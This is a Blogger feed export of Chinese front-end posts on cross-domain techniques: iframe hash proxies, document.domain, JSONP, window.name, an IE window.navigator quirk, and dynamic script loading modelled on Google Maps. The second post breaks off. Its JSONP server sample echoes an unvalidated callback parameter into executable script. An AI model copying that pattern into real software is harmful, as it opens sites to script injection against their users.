<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8748095276649871935</id><updated>2011-11-27T16:39:04.250-08:00</updated><category term='tw'/><category term='xss'/><category term='com'/><category term='javascript'/><category term='script，JavaScript'/><category term='browser'/><title type='text'>ZJL BLOG</title><subtitle type='html'>On The Road ZJL</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>89</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-886142738078666224</id><published>2009-01-05T02:48:00.000-08:00</published><updated>2009-01-05T02:48:28.730-08:00</updated><title type='text'>Alipay UED » Blog Archive » 也来谈谈”完美”跨域</title><content type='html'>&lt;a href="http://ued.alipay.com/?p=707"&gt;Alipay UED » Blog Archive » 也来谈谈”完美”跨域&lt;/a&gt;: "适用面更广一些"&lt;br /&gt;&lt;br /&gt;也来谈谈”完美”跨域&lt;br /&gt;&lt;br /&gt;oldfish 发表于2008-12-17,12:04 1,271 Views&lt;br /&gt;&lt;br /&gt;关于跨域这个话题，很早就答应过要分享，但是因为懒，一直拖着，直到D2上有人谈起了“完美跨域”。“跨域”应该已经算不上什么难题了，只是提起“完美”这两个字，突然觉得有了新意，那就写点什么吧，至少对自己有个交代嘛！跨域方案有很多，接下来一一枚举，会给出demo，demo的宗旨是尽可能简单的让新手明白，各方案中跨域的原理，实际应用请酌情修改。&lt;br /&gt;方案一、剪贴板&lt;br /&gt;&lt;br /&gt;原理：IE本身依附于windows平台的特性为我们提供了一种基于iframe，利用内存来“绕行”的方案，在这里我称之为，本地存储原理。&lt;br /&gt;&lt;br /&gt;缺点：不支持非IE浏览器，并且影响到用户对剪贴板的操作，用户体验非常不好，特别是在IE7下，受安全等级影响，会弹出提示框。&lt;br /&gt;&lt;br /&gt;演示：[ 点此阅览 ]&lt;br /&gt;&lt;br /&gt;子页面在子域：demo.ioldfish.cn下，在页面中加入如下代码获取页面高度并存入剪贴板。&lt;br /&gt;&lt;br /&gt;   1. &lt;script type="text/javascript"&gt;&lt;br /&gt;   2. var ua = navigator.userAgent;&lt;br /&gt;   3. if ((i = ua.indexOf("MSIE")) &gt;= 0) &lt;br /&gt;   4. {&lt;br /&gt;   5.  var iObjH = window.document.documentElement.scrollHeight;&lt;br /&gt;   6.  window.clipboardData.setData('text',String(iObjH));&lt;br /&gt;   7. }&lt;br /&gt;   8. &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;主页面在主域：www.ioldfish.cn下，在页面中加入如下代码，获取剪贴板的值并赋值为子页面所在的iframe的高度。&lt;br /&gt;&lt;br /&gt;   1. &lt;script type="text/javascript"&gt;&lt;br /&gt;   2. window.onload = function()&lt;br /&gt;   3. {&lt;br /&gt;   4.  var iObj =document.getElementById('iId');&lt;br /&gt;   5.  iObj.style.height=parseInt(window.clipboardData.getData('text'))+'px';&lt;br /&gt;   6. }&lt;br /&gt;   7. &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;方案二、document.domain&lt;br /&gt;&lt;br /&gt;原理：设置了document.domain，欺骗浏览器&lt;br /&gt;&lt;br /&gt;缺点：无法实现不同主域之间的通讯。并且当在一个页面中还包含有其它的iframe时，会产生安全性异常，拒绝访问。&lt;br /&gt;&lt;br /&gt;演示：[ 点此阅览 ]&lt;br /&gt;&lt;br /&gt;主页面在主域：www.ioldfish.cn下，子页面在子域：demo.ioldfish.cn下，在两个页面的头部都加入如下代码：&lt;br /&gt;&lt;br /&gt;   1. &lt;script type="text/javascript"&gt;&lt;br /&gt;   2.  document.domain="ioldfish.cn";&lt;br /&gt;   3. &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;方案三、通过JS获取hash值实现通讯&lt;br /&gt;&lt;br /&gt;原理：hash可以实现跨域传值实现跨域通讯。&lt;br /&gt;&lt;br /&gt;缺点：对于父窗口URL参数动态生成的，处理过程比较复杂一些。并且IE之外的浏览器遇到hash的改变会记录历史，影响浏览器的前进后退功能，体验不佳。&lt;br /&gt;&lt;br /&gt;演示：[ 点此阅览 ]&lt;br /&gt;&lt;br /&gt;子页面在主域：www.lzdaily.com下，在页面中添加如下代码,因为hash是不受跨域限制的，所以可以将本页面的高度顺利的传送给主页面的hash。&lt;br /&gt;&lt;br /&gt;   1. &lt;script type="text/javascript"&gt;&lt;br /&gt;   2.  var hashH = document.documentElement.scrollHeight;&lt;br /&gt;   3.  var urlA = "http://www.ioldfish.cn/wp-content/demo/domain/hash/a2.html";&lt;br /&gt;   4.  parent.location.href= urlA+"#"+hashH;&lt;br /&gt;   5. &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;主页面在主域：www.ioldfish.cn下，在页面中添加如下代码，首先取得子页面传递过来的hash值，然后将hash值赋到子页面所在的iframe的高度上。&lt;br /&gt;&lt;br /&gt;   1. &lt;script type="text/javascript"&gt;&lt;br /&gt;   2. window.onload = function()&lt;br /&gt;   3. {&lt;br /&gt;   4.  var iObj = document.getElementById('iId');&lt;br /&gt;   5.  if(location.hash)&lt;br /&gt;   6.  {&lt;br /&gt;   7.   iObj.style.height=location.hash.split("#")[1]+"px";&lt;br /&gt;   8.  }&lt;br /&gt;   9. }&lt;br /&gt;  10. &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;方案四、传hash值实现通讯改良版&lt;br /&gt;&lt;br /&gt;原理：该方案通过“前端代理”的方式，实现hash的传值，体验上比之方案三有了很大的提升。&lt;br /&gt;&lt;br /&gt;缺点：对于父窗口URL参数动态生成的，处理过程比较复杂一些。&lt;br /&gt;&lt;br /&gt;演示：[ 点此阅览 ]&lt;br /&gt;&lt;br /&gt;子页面在主域：www.lzdaily.com下，在页面中添加如下代码,首先在页面里添加一个和主页面同域的iframe［也可动态生成］，他的作用就像是个跳板。C页面中不需任何代码，只要确保有个页面就防止404错误就可以了！该方法通过修改iframe的name值同样可以跨域传值，只是比较”猥琐“而已。&lt;br /&gt;&lt;br /&gt;   1. &lt;iframe id="iframeC" name="iframeC" src="http://www.ioldfish.cn/wp-content/demo/domain/hashbetter/c.html" frameborder="0" height="0"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;然后在页面中加上如下代码，利用页面C的URL接收hash值，并负责把hash值传给同域下的主页面。&lt;br /&gt;&lt;br /&gt;   1. &lt;script type="text/javascript"&gt;&lt;br /&gt;   2.  hashH = document.documentElement.scrollHeight;&lt;br /&gt;   3.  urlC = "http://www.ioldfish.cn/wp-content/demo/domain/hashbetter/c.html";&lt;br /&gt;   4.  document.getElementById("iframeC").src=urlC+"#"+hashH;&lt;br /&gt;   5. &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;主页面在主域：www.ioldfish.cn下，在页面中添加如下代码，获取从C页面中传递过来的hash值。这里应用到一个技巧，就是直接从A页面用frames["iId"].frames["iframeC"].location.hash,可以直接访问并获取C页面的hash值。这样一来，通过代理页面传递hash值，比起方案三，大大提高了用户体验。&lt;br /&gt;&lt;br /&gt;   1. &lt;script type="text/javascript"&gt;&lt;br /&gt;   2. window.onload = function()&lt;br /&gt;   3. {&lt;br /&gt;   4.  var iObj = document.getElementById('iId');&lt;br /&gt;   5.  iObjH = frames["iId"].frames["iframeC"].location.hash;&lt;br /&gt;   6.  iObj.style.height = iObjH.split("#")[1]+"px";&lt;br /&gt;   7. }&lt;br /&gt;   8. &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;方案五、JSONP&lt;br /&gt;&lt;br /&gt;原理：有点脚本注入的味道&lt;br /&gt;&lt;br /&gt;缺点：服务器端程序运行比脚本早，跨域交互时无法捕获前端页面元素的相关数据，比如自适应高度。&lt;br /&gt;&lt;br /&gt;演示：[ 点此阅览 ]&lt;br /&gt;&lt;br /&gt;主页面在主域：www.ioldfish.cn下，在页面中添加如下代码，动态创建一个script，然后指定到子域的动态文件，在动态文件后面可以添加参数，在这里我加了一个回调函数，当请求返回后，会运行这个回调函数。&lt;br /&gt;&lt;br /&gt;   1. &lt;script type="text/javascript"&gt;&lt;br /&gt;   2. function loadContent()&lt;br /&gt;   3. {&lt;br /&gt;   4.  var scriptDom=document.createElement('script');&lt;br /&gt;   5.  var url = "http://www.lzdaily.com/domain/jsonp/Test.aspx?f=setDivContent'";&lt;br /&gt;   6.  scriptDom.src= url;&lt;br /&gt;   7.  document.body.appendChild(scriptDom);&lt;br /&gt;   8. } &lt;br /&gt;   9. function setDivContent(love)&lt;br /&gt;  10. {&lt;br /&gt;  11.  var fishDiv = document.getElementById("oldFish");&lt;br /&gt;  12.  fishDiv.innerHTML = love;&lt;br /&gt;  13. }&lt;br /&gt;  14. &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;子页面在主域：www.lzdaily.com下，在页面中添加如下代码，首先先取得主页面传过来的回调函数名，然后生成一段 javascript代码，以回调函数带参数的形式返回主页面，这样就完成了跨域之间的通讯。由于服务器端程序执行总是优先于javascript代码，所以基本上没办法获取到子页面中DOM的相关数据，所以小白同学，我可以很负责人的告诉你，想通过这种方法实现跨域自适应高度是不可能的！&lt;br /&gt;&lt;br /&gt;   1. &lt;script language="C#" runat="server"&gt;&lt;br /&gt;   2. void Page_Load(object sender, EventArgs e)&lt;br /&gt;   3. {&lt;br /&gt;   4.   string f = Request.QueryString["f"];&lt;br /&gt;   5.   Response.Clear();&lt;br /&gt;   6.   Response.ContentType = "application/x-javascript";&lt;br /&gt;   7.   Response.Write(String.Format(@"{0}({1});", f,1122));&lt;br /&gt;   8.   Response.End();&lt;br /&gt;   9. }&lt;br /&gt;  10. &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;方案六、window.name&lt;br /&gt;&lt;br /&gt;原理：window.name本身并不能实现跨域，只是中间做了代理。&lt;br /&gt;&lt;br /&gt;缺点：获取异域的前端页面元素值有一定局限性，比如取自适应高度的值。但是此方法在前端页面元素的数据交互上明显比JSONP强。&lt;br /&gt;&lt;br /&gt;演示：[ 点此阅览 ]&lt;br /&gt;&lt;br /&gt;这个方案，YAHOO的同事已经给出了详细的demo，我就不重复了，演示demo出自YAHOO克军之手。详细的说明可以参看“怿飞的BLOG”，个人觉得方案四比window.name适用面更广一些。&lt;br /&gt;方案七、window.navigator&lt;br /&gt;&lt;br /&gt;原理：window.navigator这个对象是在所有的Iframe中均可以访问的对象。应该是IE的一个漏洞！&lt;br /&gt;&lt;br /&gt;缺点：不支持IE外的浏览器下的跨域。严格的dtd申明后，该方法失效！&lt;br /&gt;&lt;br /&gt;演示：[ 点此阅览 ]&lt;br /&gt;&lt;br /&gt;主页面在主域：www.ioldfish.cn下，首先先申明一个Json用来保存所有页面的高度window.navigator.PagesHeight={”":0};，然后根据name的属性找到页面的数据window.navigator.getData，最后将页面的数据注册到window.navigator.PagesHeight中。这里还定义了一个函数resetIframeData，在页面加载的时候调用它，完成跨域的数据交互。注释中详细说明了参数的作用。&lt;br /&gt;&lt;br /&gt;   1. &lt;script type="text/javascript"&gt;&lt;br /&gt;   2. window.navigator.PagesHeight={"":0};   &lt;br /&gt;   3. window.navigator.getData=function(pageName) {     &lt;br /&gt;   4.  return window.navigator.PagesHeight[pageName];  &lt;br /&gt;   5. };   &lt;br /&gt;   6. window.navigator.putData=function(pageName,pageHeight) &lt;br /&gt;   7. {  &lt;br /&gt;   8.  window.navigator.PagesHeight[pageName]=pageHeight;  &lt;br /&gt;   9. };&lt;br /&gt;&lt;br /&gt;   1. /*&lt;br /&gt;   2. *iframeId:页面中iframe的标识id&lt;br /&gt;   3. *key:子页面自定义的json标识,这里就是子页面定义的"PortalData".&lt;br /&gt;   4. *defaultData:无法取到值时候调用&lt;br /&gt;   5. */&lt;br /&gt;   6. function resetIframeData(iframeId,key,defualtData)&lt;br /&gt;   7. {       &lt;br /&gt;   8.  var obj=document.getElementById(iframeId);  &lt;br /&gt;   9.  if(window.navigator.getData)&lt;br /&gt;  10.  {  &lt;br /&gt;  11.   var pageHeight = window.navigator.getData(key); &lt;br /&gt;  12.   if(pageHeight &amp;&amp; String(pageHeight).match(/\d+/))&lt;br /&gt;  13.   {  &lt;br /&gt;  14.    obj.style.height=pageHeight+'px';  &lt;br /&gt;  15.   }&lt;br /&gt;  16.   else&lt;br /&gt;  17.   {  &lt;br /&gt;  18.    obj.style.height=defualtData + 'px';  &lt;br /&gt;  19.   }  &lt;br /&gt;  20.  }&lt;br /&gt;  21.  else&lt;br /&gt;  22.  {  &lt;br /&gt;  23.   obj.style.height=defualtData + 'px';  &lt;br /&gt;  24.  }     &lt;br /&gt;  25. } &lt;br /&gt;  26. &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;子页面在主域：www.lzdaily.com下，获取到页面高度后，将高度存到主页定义的Json中，Json标识为”PortalData”，这里可以自定义。&lt;br /&gt;&lt;br /&gt;   1. &lt;script type="text/javascript"&gt;&lt;br /&gt;   2. window.onload = function getPageData()&lt;br /&gt;   3. {         &lt;br /&gt;   4.  var pageHeight = document.body.scrollHeight;  &lt;br /&gt;   5.  if(window.navigator.putData)&lt;br /&gt;   6.  {&lt;br /&gt;   7.   window.navigator.putData("PortalData",pageHeight);&lt;br /&gt;   8.  }&lt;br /&gt;   9. } &lt;br /&gt;  10. &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;其实通过css也可以实现跨域，数据获取的实质其实就是动态载入一段CSS，然后解析其中的字段提取数据，这个方法比较“猥琐”，再这里就不多介绍了，当然flash也可以实现跨域，只是还没去实践，实践完了再补充。啥时候能补完呢？恩……&lt;br /&gt;&lt;br /&gt;以上这么多方案，有可以“完美跨域”的吗？单一的看，我想没有吧，都有缺陷，但是只要不同情况下使用合适的方法，我想这才是最完美的！原来绕了一圈，我只是再说废话，哎！不论怎么样，还是希望这些废话对还在苦苦追求“完美”的同学们有所启发！&lt;br /&gt;&lt;br /&gt;Tags: jsonp, window.name, window.navigator, 跨域&lt;br /&gt;&lt;br /&gt;星期三, 12月 17th, 2008 前端技术.&lt;br /&gt;&lt;br /&gt;   1. uidesigner&lt;br /&gt;      12月 17th, 2008 at 20:48&lt;br /&gt;&lt;br /&gt;      沙发,好多选择哦,哪个方案好呢?&lt;br /&gt;   2. 老鱼&lt;br /&gt;      12月 18th, 2008 at 10:37&lt;br /&gt;&lt;br /&gt;      最适合你的,才是最好的阿,哈哈,看你是什么应用场景了!&lt;br /&gt;   3. 刘镇维&lt;br /&gt;      12月 23rd, 2008 at 12:54&lt;br /&gt;&lt;br /&gt;      从方案4得到启发，如果可以修改页面4的内容的话，做如下修改就可以实时向父页面传递参数了。&lt;br /&gt;&lt;br /&gt;      function test(){&lt;br /&gt;      var str=location.hash;&lt;br /&gt;      parent.parent.test(str);&lt;br /&gt;      }&lt;br /&gt;   4. 刘镇维&lt;br /&gt;      12月 23rd, 2008 at 12:56&lt;br /&gt;&lt;br /&gt;      window.onload=test;&lt;br /&gt;&lt;br /&gt;      刚才漏了一句&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-886142738078666224?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://ued.alipay.com/?p=707' title='Alipay UED » Blog Archive » 也来谈谈”完美”跨域'/><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/886142738078666224/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=886142738078666224' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/886142738078666224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/886142738078666224'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2009/01/alipay-ued-blog-archive.html' title='Alipay UED » Blog Archive » 也来谈谈”完美”跨域'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-8322261528857241394</id><published>2009-01-05T02:41:00.000-08:00</published><updated>2009-01-05T02:41:05.575-08:00</updated><title type='text'>跨域的iframe操作 - ①兲的耐情 - JavaEye技术网站</title><content type='html'>&lt;a href="http://ruvuoai.javaeye.com/blog/281504"&gt;跨域的iframe操作 - ①兲的耐情 - JavaEye技术网站&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;下面直接帖上网上找到的那篇文章（怕这个链接失效）&lt;br /&gt;来自:http://hily.me/blog/2006/11/special-domain-data-fetch/。&lt;br /&gt;&lt;br /&gt;引用&lt;br /&gt;浏览器跨域获取特定域的数据的办法&lt;br /&gt;以前看了几篇这方面的文章，但是都未能找到一个合适的解决方法。&lt;br /&gt;获取同一个域的数据，可以通过XMLHTTP组件或IFRAME来实现，不存在跨域访问的权限问题，因此比较简单。&lt;br /&gt;但如果要访问不同域的数据时，由于浏览器的安全设置，XMLHTTP没有权限获取数据，而IFRAME没有权限将获取的数据传递给父窗口，似乎没有其它解决办法。&lt;br /&gt;在网上提到的方法，不外乎这两种：&lt;br /&gt;1. 如果要获取的数据位于同一个根域但是不同子域时，可以在脚本中指定document.domain为父域。&lt;br /&gt;2. 如果要获取的数据位于不同的根域时，则可以在服务器上写一个脚本作为代理，由服务器上的脚本获取不同域的数据，然后传递给在同一个域中的网页。&lt;br /&gt;以上两种方法很容易便能想到，现在的问题是，如果要获取一个不同根域的数据时，该如何实现？&lt;br /&gt;&lt;br /&gt;一般我们不会漫无目的地去网上获取数据，往往是从指定的服务器上获取数据，就像Google Maps、Google Adsense和referer这样的网页插件，一般都是以脚本的形式提供给用户使用的。这时，如果要求用户在自己的服务器上写个代理的话，易用性就要大打折扣。获取你会考虑为用户写好各种脚本的代理，PHP、ASP、Python、Perl……，但是，如果这台服务器不支持动态脚本，又该怎么办呢？&lt;br /&gt;想了两天都没想通这个问题（除去上班时间其实不到两个小时），曾考虑过用浏览器的漏洞来实现，但是这样做不能长久，因此放弃。随后发现Google本地搜索的地图数据来自于mapabc.com，好家伙，他们是怎么办到的？&lt;br /&gt;用FireFox的DOM查看器可以看到，地图区是一个IFRAME，难道是用IFRAME实现的？但是拖动地图时如何知道要下载哪些图片的？这些数据是一定要从服务器上获取的，难道放这些数据的服务器也是google.com域内的？应该不会这么麻烦。&lt;br /&gt;随即找来Google Maps的API进行开刀，官网给的范例网页如下：&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java代码 复制代码&lt;br /&gt;&lt;br /&gt;   1. &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"  &lt;br /&gt;   2. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;  &lt;br /&gt;   3. &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;  &lt;br /&gt;   4. &lt;head&gt;  &lt;br /&gt;   5. &lt;meta http-equiv="content-type" content="text/html; charset=utf-8"/&gt;  &lt;br /&gt;   6. &lt;title&gt;Google Maps JavaScript API Example&lt;/title&gt;  &lt;br /&gt;   7. &lt;script src="http://maps.google.com/maps?file=api&amp;v=2&amp;key=abcdefg"  &lt;br /&gt;   8. type="text/javascript"&gt;&lt;/script&gt;  &lt;br /&gt;   9. &lt;script type="text/javascript"&gt;  &lt;br /&gt;  10. //&lt;![CDATA[  &lt;br /&gt;  11. function load() {  &lt;br /&gt;  12. if (GBrowserIsCompatible()) {  &lt;br /&gt;  13. var map = new GMap2(document.getElementById("map"));  &lt;br /&gt;  14. map.setCenter(new GLatLng(37.4419, -122.1419), 13);  &lt;br /&gt;  15. }  &lt;br /&gt;  16. }  &lt;br /&gt;  17. //]]&gt;  &lt;br /&gt;  18. &lt;/script&gt;  &lt;br /&gt;  19. &lt;/head&gt;  &lt;br /&gt;  20. &lt;body onload="load()" onunload="GUnload()"&gt;  &lt;br /&gt;  21. &lt;div id="map" style="width: 500px; height: 300px"&gt;&lt;/div&gt;  &lt;br /&gt;  22. &lt;/body&gt;  &lt;br /&gt;  23. &lt;/html&gt;  &lt;br /&gt;  24.   &lt;br /&gt;  25.    &lt;br /&gt;  26.   &lt;br /&gt;  27. 把http://maps.google.com/maps?file=api&amp;v=2&amp;key=abcdefg下载下来看了一下，里面有一句：  &lt;br /&gt;  28.   &lt;br /&gt;  29.   &lt;br /&gt;  30. GScript("http://maps.google.com/mapfiles/maps2.67.api.js");  &lt;br /&gt;  31.   &lt;br /&gt;  32. 这句就是用来加载地图操作库的，GScript函数定义为：  &lt;br /&gt;  33.   &lt;br /&gt;  34. function GScript(src) {document.write('');}  &lt;br /&gt;&lt;br /&gt;&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"&lt;br /&gt;"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;&lt;br /&gt;&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;meta http-equiv="content-type" content="text/html; charset=utf-8"/&gt;&lt;br /&gt;&lt;title&gt;Google Maps JavaScript API Example&lt;/title&gt;&lt;br /&gt;&lt;script src="http://maps.google.com/maps?file=api&amp;v=2&amp;key=abcdefg"&lt;br /&gt;type="text/javascript"&gt;&lt;/script&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;br /&gt;//&lt;![CDATA[&lt;br /&gt;function load() {&lt;br /&gt;if (GBrowserIsCompatible()) {&lt;br /&gt;var map = new GMap2(document.getElementById("map"));&lt;br /&gt;map.setCenter(new GLatLng(37.4419, -122.1419), 13);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;//]]&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;body onload="load()" onunload="GUnload()"&gt;&lt;br /&gt;&lt;div id="map" style="width: 500px; height: 300px"&gt;&lt;/div&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;把http://maps.google.com/maps?file=api&amp;v=2&amp;key=abcdefg下载下来看了一下，里面有一句：&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;GScript("http://maps.google.com/mapfiles/maps2.67.api.js");&lt;br /&gt;&lt;br /&gt;这句就是用来加载地图操作库的，GScript函数定义为：&lt;br /&gt;&lt;br /&gt;function GScript(src) {document.write('');}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;顿悟……&lt;br /&gt;网页内引用不同域的脚本并不会提示权限不足，对了，就是它没错！&lt;br /&gt;这个方法其实我早应该想到的，可能是太久没玩javascript的缘故吧。不论是referer还是Google Analytics，要统计页面访问信息，都要用脚本来向服务器提交信息，只是它们只提交一次（Google Analytics有统计逗留时间，应该有好几次）。习惯性地，我把提交和下载数据分开了，所以不容易想到这个方法。&lt;br /&gt;但是用document.write始终不是好办法，它会清除页面上原有的内容。改进的方法估计你已经想到了，可以参考一下我很早以前乱写的这篇文章《有效地组织页面中复杂的JavaScript脚本》里的思想。&lt;br /&gt;继续分析Google Maps的代码，打开http://maps.google.com/mapfiles/maps2.67.api.js，里面有这样的代码：&lt;br /&gt;&lt;br /&gt;Java代码 复制代码&lt;br /&gt;&lt;br /&gt;   1. ta.prototype.Hk=function(a,b){var c=this.ql(a);if(c){window.setTimeout(function(){b(c)},  &lt;br /&gt;   2. 0)}else{var d="__cg"+Zf++ +(new Date).getTime();  &lt;br /&gt;   3. try{if(this.qe==null){this.qe=document.getElementsByTagName("head")[0]}  &lt;br /&gt;   4. var e=window.setTimeout(sd(d,b,a,403),15000);  &lt;br /&gt;   5. if(!window.__geoStore){window.__geoStore={}}window.__geoStore[d]=Jf(this,d,b,e);  &lt;br /&gt;   6. var f=document.createElement("script");f.type="text/javascript";  &lt;br /&gt;   7. f.id=d;f.charset="UTF-8";  &lt;br /&gt;   8. f.src=this.vl+"?q="+window.encodeURIComponent(a)+"&amp;output=json&amp;callback=__geoStore."+d+"&amp;key="+this.Lh;  &lt;br /&gt;   9. this.qe.appendChild(f)}catch(g){if(e){window.clearTimeout(e)}window.setTimeout(sd(d,  &lt;br /&gt;  10. b,a,500),0)}}};  &lt;br /&gt;&lt;br /&gt;ta.prototype.Hk=function(a,b){var c=this.ql(a);if(c){window.setTimeout(function(){b(c)},&lt;br /&gt;0)}else{var d="__cg"+Zf++ +(new Date).getTime();&lt;br /&gt;try{if(this.qe==null){this.qe=document.getElementsByTagName("head")[0]}&lt;br /&gt;var e=window.setTimeout(sd(d,b,a,403),15000);&lt;br /&gt;if(!window.__geoStore){window.__geoStore={}}window.__geoStore[d]=Jf(this,d,b,e);&lt;br /&gt;var f=document.createElement("script");f.type="text/javascript";&lt;br /&gt;f.id=d;f.charset="UTF-8";&lt;br /&gt;f.src=this.vl+"?q="+window.encodeURIComponent(a)+"&amp;output=json&amp;callback=__geoStore."+d+"&amp;key="+this.Lh;&lt;br /&gt;this.qe.appendChild(f)}catch(g){if(e){window.clearTimeout(e)}window.setTimeout(sd(d,&lt;br /&gt;b,a,500),0)}}};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;script节点也是动态创建的，这样就可以避免document.write产生的问题。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;解决方法找到了，现在来简单测试一下：&lt;br /&gt;1. 在本地服务器上新建一页面。&lt;br /&gt;test.html：&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java代码 复制代码&lt;br /&gt;&lt;br /&gt;   1. &lt;html&gt;  &lt;br /&gt;   2. &lt;head&gt;  &lt;br /&gt;   3. &lt;title&gt; Over-Domain Data Fetching Test Page&lt;/title&gt;  &lt;br /&gt;   4. &lt;script type="text/javascript"&gt;  &lt;br /&gt;   5. var lastScript;  &lt;br /&gt;   6. var h=document.getElementsByTagName("head")[0];&lt;/code&gt;  &lt;br /&gt;   7. function loadScript(url){  &lt;br /&gt;   8. var f=document.createElement("script");  &lt;br /&gt;   9. var d=new Date().getTime();  &lt;br /&gt;  10. f.type="text/javascript";  &lt;br /&gt;  11. f.id=d;  &lt;br /&gt;  12. f.src=url+'?'+d;  &lt;br /&gt;  13. h.appendChild(f);  &lt;br /&gt;  14. if(lastScript&amp;&amp;g(lastScript))g(lastScript).parentNode.removeChild(g(lastScript));  &lt;br /&gt;  15. lastScript=d;  &lt;br /&gt;  16. }  &lt;br /&gt;  17. function g(x){return document.getElementById(x)};  &lt;br /&gt;  18. &lt;/script&gt;  &lt;br /&gt;  19. &lt;/head&gt;  &lt;br /&gt;  20. &lt;body&gt;  &lt;br /&gt;  21. &lt;button onclick="loadScript('http://localhost/alert.js')"&gt;Test Alert&lt;/button&gt;&lt;br /&gt;  &lt;br /&gt;  22. &lt;button onclick="loadScript('http://localhost/info.js')"&gt;Get My Info&lt;/button&gt;&lt;br /&gt;  &lt;br /&gt;  23. My Name: &lt;input id="myname" type="text" value="" /&gt;&lt;br /&gt;  &lt;br /&gt;  24. My Blog: &lt;input id="myblog" type="text" value="" /&gt;  &lt;br /&gt;  25. &lt;/body&gt;  &lt;br /&gt;  26. &lt;/html&gt;  &lt;br /&gt;&lt;br /&gt;&lt;html&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;title&gt; Over-Domain Data Fetching Test Page&lt;/title&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;br /&gt;var lastScript;&lt;br /&gt;var h=document.getElementsByTagName("head")[0];&lt;/code&gt;&lt;br /&gt;function loadScript(url){&lt;br /&gt;var f=document.createElement("script");&lt;br /&gt;var d=new Date().getTime();&lt;br /&gt;f.type="text/javascript";&lt;br /&gt;f.id=d;&lt;br /&gt;f.src=url+'?'+d;&lt;br /&gt;h.appendChild(f);&lt;br /&gt;if(lastScript&amp;&amp;g(lastScript))g(lastScript).parentNode.removeChild(g(lastScript));&lt;br /&gt;lastScript=d;&lt;br /&gt;}&lt;br /&gt;function g(x){return document.getElementById(x)};&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;button onclick="loadScript('http://localhost/alert.js')"&gt;Test Alert&lt;/button&gt;&lt;br /&gt;&lt;br /&gt;&lt;button onclick="loadScript('http://localhost/info.js')"&gt;Get My Info&lt;/button&gt;&lt;br /&gt;&lt;br /&gt;My Name: &lt;input id="myname" type="text" value="" /&gt;&lt;br /&gt;&lt;br /&gt;My Blog: &lt;input id="myblog" type="text" value="" /&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;解释两个关键点：